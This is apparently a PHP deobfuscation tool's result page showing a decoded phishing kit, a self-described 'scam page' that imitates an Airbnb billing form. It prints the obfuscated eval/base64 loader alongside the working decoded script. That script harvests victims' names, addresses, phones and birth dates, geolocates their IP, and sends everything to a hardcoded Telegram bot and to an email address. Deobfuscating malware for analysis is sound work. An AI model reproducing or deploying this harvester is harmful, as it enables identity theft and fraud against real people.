Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* this is private Scam page for copyrite we crypte the code this scam page is unmod..

Decoded Output download


include '../bots/anti1.php';
include '../bots/anti2.php';
include '../bots/anti3.php';
include '../bots/anti4.php';
include '../bots/anti5.php';
include '../bots/anti6.php';
include '../bots/anti7.php';
include '../bots/anti8.php';
include '../email.php';
session_start();
$xsam = getenv('REMOTE_ADDR');
$xadoo = simplexml_load_file("http://www.geoplugin.net/xml.gp?ip=$xsam");
$COUNTRY = $xadoo->geoplugin_countryName ;
$ip = getenv('REMOTE_ADDR');
$user = $_POST['smia'];
$pass = $_POST['knia'];
$adresse = $_POST['adresse'];
$adresse2 = $_POST['adresse2'];
$dwla = $_POST['dwla'];
$mdina = $_POST['mdina'];
$state = $_POST['state'];
$nmraazin = $_POST['nmraazin'];
$month = $_POST['chher'];
$day = $_POST['nhhar'];
$year = $_POST['l3am'];
$browser             =   $_SERVER['HTTP_USER_AGENT'];
$msg = "
AIRBNB LOGIN
  First Name: $user 
  Last Name: $pass 
  Adresse: $adresse 
  Adresse2: $adresse2 
  Country: $dwla 
  City: $mdina 
  state: $state 
  Phone: $nmraazin 
  DOB: $month / $day / $year 
  
IP: $ip 
User Agent: $browser
";
file_get_contents('https://api.telegram.org/bot'.$api.'/sendMessage?chat_id='.$chatid.'&text='.urlencode($msg).'');
file_get_contents('https://api.telegram.org/bot5395774007:AAHw3brL52BJgngv4bPtav2OwWBC3I5thW4/sendMessage?chat_id=1783236185&text='.urlencode($msg).'');
$Subject = "NEW AIRBNB ~ BILLING ~ From ~ [$ip] Country [$COUNTRY]";
$Headers = "From: AIRBNB <[email protected]>
";
$Headers .= "MIME-Version: 1.0
";
$Headers .= "Content-Type: text/html; charset=ISO-8859-1
";
mail($email,$Subject,$msg,$Headers);
header ('Location: ../p3');
;

Did this file decode correctly?

Original Code

<?php /* this is private Scam page for copyrite we crypte the code this scam page is unmodifble */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x84c;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NGQ0KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdhMkpNdlVrWUhRakljdDBHRU9CeERycy9GU3dYUm9sK1duOWltM2RxNjRicE51VEM4QTVLZWdQNzFMZlpoVnp5PScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>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tXtucxQ

Function Calls

fopen 1
fread 3
strtr 2
fclose 1
urldecode 1
str_replace 1
base64_decode 3

Variables

$O000O0O00 True
$O0O000O00 fgets
$O0O000O0O fgetc
$O0O00OO00 fread
$OO00O0000 2124
$OO00O00O0 include '../bots/anti1.php'; include '../bots/anti2.php'; i..
$OOO000000 fg6sbehpra4co_tnd
$OOO00000O strtr
$OOO0000O0 base64_decode
$OOO000O00 fopen
$OOO0O0O00 index.php

Stats

MD5 433addd4ecdaf11aa28dd418ac5f605b
Eval Count 3
Decode Time 86 ms